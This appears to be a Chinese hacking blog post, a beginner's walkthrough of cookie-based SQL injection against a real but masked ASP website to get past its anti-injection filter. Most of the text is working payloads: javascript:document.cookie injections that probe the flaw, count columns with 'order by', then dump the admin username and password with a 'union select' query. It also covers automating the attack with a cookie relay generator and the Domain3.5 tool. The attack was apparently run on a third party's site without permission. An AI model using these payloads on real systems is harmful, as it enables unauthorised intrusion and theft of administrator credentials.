现在很多网站都加了防注入系统代码,你输入注入语句将无法注入。感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!所以就有了Cookies注入。这句话我在另外一篇文章里面已经说过了,这里再提一下就是为了说明如何实际的注入一个网站。
首先说明的是我是菜鸟,这次是在高手的帮助下才成功的。写下了也是为了自己总结经验,以便将来温故知新。我只是获取了这个站点的管理员和密码后就停止了,没有做进一步的提权以及上传WEBshell,纯粹为了练习一下cookie注入,剩下的就超出了这个范围了。废话不多说了,马上开始。
找到一个注入的页面:
http://www.xxxxx.com/vun.asp?id=237
首先测试常规的注入方法,直接在页面上使用SQL注入,会提示
非法操作!你已被系统记录做了如下非法操作
操作IP: 10. 3. 6.8(隐藏自己的IP,我改过了,hoho)
操作时间:2008-11-6 15:24:39
操作页面:/patch/vun.asp
提交方式:GET(POST)
提交参数:id
提交数据:237′ and 1=1
可以明确的一点就是这个页面是可以正常访问的,而不带参数(去掉后面的?id=237)即:http://www.xxxxx.com/vun.asp,无法显示正常页面。
把浏览器的URL清空,输入
“javascript:alert(document.cookie=”id=”+escape(“237(注:这里填相应参数id值) and 1=1″));之后会弹出一个Alert的框框:

这个时候输入http://www.xxxxx.com/vun.asp则可以显示正常页面,说明我们绕过了SQL防注入程序了。
再输入:javascript:alert(document.cookie=”id=”+escape(“237 and 1=2″));然后再输入http://www.xxxxx.com/vun.asp后无法显示正常页面。说明是有cookie注入漏洞的,我们可以进行注入了。
下面要做的事情就是猜测字段的长度,在地址栏输入
javascript:alert(document.cookie=”id= “+escape(“237 order by 11(这个数字是字段长度)”))
猜测字段长度的过程每个人都有自己喜欢的顺序,你可以从小数字开始也可以从大数字开始。每次输入不同的数字,然后访问
http://www.xxxxx.com/vun.asp
查看返回的页面,如果是无法显示正常的页面则表示字段数错误,如果返回正常页面则恭喜你,成功了。
既然猜到了字段数,下面就是开始猜测表名了,又是一项艰苦的任务~~~~经验和人品是决定时间的主要因素。在地址栏输入
javascript:alert(document.cookie=”id=”+escape(“237 union select 1,2,3,4,5,6,7,8,9,10,11 from admin”))
查看
http://www.xxxxx.com/vun.asp
页面显示,我这次是显示2,3,8,9,然后我用admin和password替换掉2,3
javascript:alert(document.cookie=”id= “+escape(“237 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin”))
然后管理员的的用户名和密码就在页面上面乖乖的显示了~~~~

说明:注入键名填写ID,URL都填写漏洞页面链接地址,不带参数,POST提交值中填写参数237,然后点击生成ASP。
将生成的ASP文件放到本地的一台IIS的目录中,然后把路径http://192.168.0.1/jmcook.asp?jmdcw=237(每个人的都不同,我这里只是说明我自己的)放到Domain3.5中进行检测

一步步的猜解,就得到了你想要的。
这里可能有人要问为什么不一开始就用Domain来进行注入呢?原因很简单,在网站上加入了SQL注入的脚本,而且把GET和POST都禁止掉了。而使用中转生成器则把这些做了个转换进行提交,所以可以绕过防注入的过滤。
方法就介绍到这里了。这些在高手眼里可能不值得一提,对我这样的菜鸟来说是个学习的积累。
后话:希望大家别用自己的技术做坏事,出了问题就不好了。善意的提醒远胜过篡改要挟。

本文还暂无回复